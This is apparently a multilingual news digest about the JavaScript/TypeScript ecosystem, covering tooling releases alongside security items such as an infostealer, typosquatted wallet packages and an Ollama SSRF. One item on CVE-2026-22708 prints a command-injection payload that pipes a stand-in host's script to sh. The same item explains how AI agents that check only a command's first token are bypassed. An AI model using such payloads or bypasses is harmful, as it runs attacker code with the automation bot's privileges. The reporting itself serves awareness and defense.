The JavaScript and TypeScript ecosystem.
قامت Shopify بتطوير وكيلين داخليين للذكاء الاصطناعي — "Pi" لرسم خرائط الميزات و"Tardis" لتصحيح الأخطاء المباشر — لأتمتة عملية إعادة كتابة الكود، مما أتاح لها الاستغناء عن تقنية React Native التي اعتمدت عليها لست سنوات، مع الحصول على تشغيل أسرع بمقدار ثانيتين، وحجم تطبيق أصغر بمقدار 109 ميجابايت، وانخفاض في حالات الانهيار بمقدار عشرة أضعاف تقريبًا.
عبر استبدال نمط `new Promise` الضخم باستدعاء واحد لـ `Promise.withResolvers()`، يمكن للمطورين تمرير وظائف resolve/reject إلى أي جزء من النظام، مما يقضي على مشكلات الـ resolve المنسية، وتحذيرات الـ double-reject، والتداخل العميق (deep nesting) — وهو أمر مفيد للغاية في بيئات Lambda عديمة الخادم (serverless).
تقوم الخوادم بتحويل رسالة TLS ClientHello الخام إلى بصمة JA3/JA4؛ وأي عدم تطابق مع الـ User-Agent المُدعى به أو إعدادات HTTP/2 يؤدي إلى تصنيف الطلب على أنه طلب برمجي (scripted). الحل الموثوق الوحيد هو جعل كل طبقة من طبقات الطلب تعكس نفس خصائص المتصفح.
تُحمل أوزان Pocket-35B بتنسيق GGUF مباشرة في llama.cpp أو Ollama، مما يتيح للفرق التي لا تملك ميزانية لوحدات معالجة الرسومات (GPU) تشغيل نموذج بـ 35 مليار معلمة على جهاز كمبيوتر محمول قياسي، بشرط استيفاء متطلبات ذاكرة الوصول العشوائي (RAM) المتواضعة.
تقوم عملية البث (Casting) بنقل عملية التشغيل إلى البرامج الثابتة (firmware) الخاصة بالتلفاز، لذا يجب أن تظل الرموز (tokens) صالحة لما بعد انتهاء الجلسة، ويجب أن تتضمن ترويسات CORS مصدر التلفاز، كما لا يمكن أن يكون رابط البث من نوع blob. يوضح هذا الدليل كيفية الانتقال إلى رابط manifest والتحقق من صحة الاتصال.
ملف القفل الافتراضي الجديد في Bun v1.2 هو bun.lock بنص عادي، ليحل محل الملف غير الواضح bun.lockb. يتيح هذا التغيير للمراجعين رؤية التغييرات الدقيقة في الإصدارات، وإجراء فحوصات السياسات في الـ CI، وتتبع الإدخالات الخبيثة باستخدام أدوات git القياسية.
تقوم حمولة JSCeal التي تعمل في الذاكرة فقط باستخراج ملفات تعريف الارتباط وكلمات المرور المحفوظة ورموز OAuth من متصفحات Chromium، ثم تعيد تشغيل الجلسات لتجاوز مطالبات المصادقة الثنائية من Google، مما يتيح للمهاجمين الاستيلاء على الأموال من Binance وBybit وLedger وغيرها.
الحزم، التي نُشرت بين الساعة 04:54:59 و04:55:48 بالتوقيت العالمي المنسق (UTC) في 7 سبتمبر 2026، حاكت @coinbase/wallet-sdk بأسماء مثل cb-wallet-http واستخدمت الإصدار 0.0.1-security، مما يسلط الضوء على مدى سرعة قدرة البرمجيات الخبيثة على اختراق المشاريع.
اكتشفت Cisco Talos عملية ClickFix، وهي عملية احتيال لسرقة العملات المشفرة تخدع المستخدمين لتثبيت نص برمجي (script) عبر Tampermonkey. يقوم هذا النص بإعادة كتابة عناوين الإيداع في الوقت الفعلي، مما يؤدي إلى سحب الأموال بينما تبدو المعاملة شرعية.
كشف اختبار 13 تعبيراً للنطاقات مقابل 19 رقماً للإصدارات عن 17 نتيجة متطابقة فقط، معظمها كانت حالات رفض. يتم تفسير رموز Caret وtilde وdot-x بشكل مختلف من قبل كل مدير حزم، مما يؤدي إلى حالات عدم توافق مفاجئة.
لا تزال ثغرة SSRF قائمة في إصدار Ollama 0.33.2 لأن برنامج تنزيل نماذج التنسور يستخدم عميل HTTP منفصلاً يتخطى آلية الحماية من إعادة التوجيه التي أُضيفت لمعالجة CVE-2026-5530، مما يتيح للمهاجمين إعادة توجيه عمليات السحب إلى أي عنوان يمكن الوصول إليه.
توضح الثغرة CVE-2026-22708 أن الوكلاء الذين يتحققون فقط من الرمز الأول للأمر يمكن خداعهم عبر حمولات مخفية في الوسائط—مثل: git branch "$(curl evil.sh|sh)"—مما يمنح المهاجمين نفس صلاحيات بوت الأتمتة.
The 45 % discount applies when the same system prompt and tool schema are reused across many iterations, making Claude Fable 5.1 especially attractive for autonomous code reviewers, ticket-triage bots, and other repetitive agent pipelines.
يستخدم WebFPGA واجهة برمجة تطبيقات WebUSB لبرمجة FPGA من نوع Lattice iCE40-UP5K باستخدام JavaScript، مما يتيح استنتاج TinyML في أقل من 10 مللي ثانية مع استهلاك بضع عشرات فقط من الميلي واط وإبقاء جميع البيانات على الجهاز.
The exposed keys let attackers create charges, pull invoices and harvest personal data, threatening chargebacks, fines and brand damage. Immediate steps include blocking dotfiles, rotating every key and moving secrets to a vault.
يقدم الإصدار الجديد تحسيناً في تنسيق الفقرات للنصوص المعقدة، ويضيف عرض مسودة مبسط، ويحسن عملية تحويل ملفات ODF إلى DOCX/XLSX، بينما تضمن التحديثات الأمنية وتقنية عزل الماكرو (macro sandboxing) بقاء المستندات آمنة محلياً.
يعمل المحرك المكتوب بلغة Rust في عملية منفصلة، مما يفصل تحليل الأنواع عن خيط واجهة المستخدم (UI thread)، مع إضافة تقنية تخزين مؤقت أكثر ذكاءً تعيد فحص الملفات المعدلة فقط، مما يوفر عمليات بناء تزايدية أكثر سرعة وسلاسة.
يقوم وضع Vapor المرتقب في Vue 3.6 بتحويل المكونات أحادية الملف إلى استدعاءات مباشرة للـ DOM، مما يلغي خطوة المقارنة (diffing) الخاصة بالـ virtual-DOM. وفي الألعاب الاختبارية التي تتطلب إعادة رسم عشرات المرات في الثانية، يقلل هذا التغيير من وقت الرندرة ويقلص حجم الحزم البرمجية، رغم أن واجهات المستخدم ذات التردد المنخفض لن تشهد تحسناً ملحوظاً.
Anthropic’s engineers used 64 parallel Claude Fable 5 agents to rewrite Bun’s codebase in Rust over 11 days, logging $165K in token usage, but the true cost likely climbs higher once post-merge compute and safety audits are factored in.
مع إزالة ترويسات الطلبات المقتصرة على النسخة التجريبية، بات بإمكان المؤسسات أخيراً تجاوز العقبات القانونية والأمنية. كما يعد وضع الإجراءات الجماعية الجديد لأداة استخدام الكمبيوتر بتقليل زمن الاستجابة واستهلاك الرموز (tokens)، وإن كانت هذه التوفيرات لا تزال بحاجة إلى التحقق.
The release also brings production-ready Partial Prerendering that can shave 40-60 % off Time to Interactive, tighter TypeScript support for Server Actions, and Rust-based middleware, but it requires Node 20+ and may break existing Webpack plugins.
تتيح لك النسخة التجريبية الجديدة استيراد ميزات الشبكة التي تستخدمها فقط، مما يسمح لك بتجاوز كود الترتيب تماماً، وتقليص حجم التنزيل إلى حوالي 5 كيلوبايت، وتجنب العمليات على الخيط الرئيسي التي كانت تبطئ درجات INP سابقاً.
Meteor 3.5 introduces a pluggable DDP transport that can be swapped to uWebSockets.js via the DDP_TRANSPORT=uws environment variable, delivering up to 1.6x higher throughput, 9 % lower CPU, 11 % less RAM and 26 % shorter GC pauses for RPC-heavy apps.
إتقان التخزين المؤقت المتقدم من جانب الخادم في Next.js. يتطلب توسيع نطاق تطبيق Next.js أكثر من مجرد الاختيار بين SSR و SSG. ومع نمو بياناتك، ستحتاج إلى تخزين مؤقت متقدم لتقليل...
